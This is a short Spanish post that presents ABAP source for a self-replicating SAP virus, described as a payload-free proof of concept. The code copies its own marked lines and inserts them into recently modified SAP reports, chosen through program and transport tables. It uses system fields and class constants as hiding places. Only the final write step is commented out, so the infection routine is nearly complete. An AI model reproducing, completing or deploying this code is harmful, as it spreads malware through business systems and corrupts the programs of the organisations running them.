Este es el segundo virus que hago para SAP, es una prueba de concepto, no tiene PayLoad y el peligro está deshabilitado. Utiliza bajo tu propio riesgo.
report ZVIRK_02.
*{ INSERT VIRK0066600 1
data: bx type MATCH_RESULT. SELECT SINGLE CCCATEGORY into SYST-CTYPE FROM T000 CLIENT SPECIFIED WHERE MANDT = sy-MANDT.
read REPORT sy-repid into CL_CIM_CONST=>VALID_KEY_VALUE_TYPES. " Extracción del código
find FIRST OCCURRENCE OF REGEX '\*\{.*INSERT.*VIRK(\d+).*1' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-cucol = bx-line.
find FIRST OCCURRENCE OF REGEX '\*\}.*INS3RT' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-CUROW = bx-line.
sy-cdate = sy-datum + 1.
while not syst-cdate+0(4) is INITIAL. " Sólo Infectamos alguno que se esté utilizando actualmente
SUBTRACT 1 from syst-cdate.
if SYST-CTYPE ne 'C'.
SELECT SINGLE PROG into sy-lisel FROM D010SINF WHERE R3STATE = 'A' AND UNAM like 'SAP%' AND UDAT = sy-cdate.
else.
SELECT SINGLE E071~OBJ_NAME into sy-lisel FROM E070 INNER JOIN E071 on E070~STRKORR = E071~TRKORR
WHERE E070~TRFUNCTION in ('K','T','S','R') AND E070~as4date = sy-cdate and E070~TRSTATUS in ('D','L') and
e071~PGMID = 'LIMU' and e071~OBJECT = 'REPS'.
endif.
check sy-subrc eq 0. read report sy-lisel into CL_CIM_CONST=>VALID_FLAVOR_NAMES.
find FIRST OCCURRENCE OF REGEX '(LOOP|WRITE|PERFORM|ENDFORM|SELECT)' in TABLE CL_CIM_CONST=>VALID_FLAVOR_NAMES in CHARACTER MODE RESULTS bx.
check sy-subrc eq 0 and bx-line > 0.
SUBTRACT 1 FROM bx-line. clear syst-cdate.
insert LINES OF CL_CIM_CONST=>VALID_KEY_VALUE_TYPES from sy-cucol to sy-CUROW into CL_CIM_CONST=>VALID_FLAVOR_NAMES index bx-line.
* insert REPORT sy-lisel FROM CL_CIM_CONST=>VALID_FLAVOR_NAMES. " Dejamos el huevo y ejecutamos un PayLoad
ENDWHILE. " SAPViri v0.2 2014 (CC)4.0 BY-NC-SA
*} INS3RT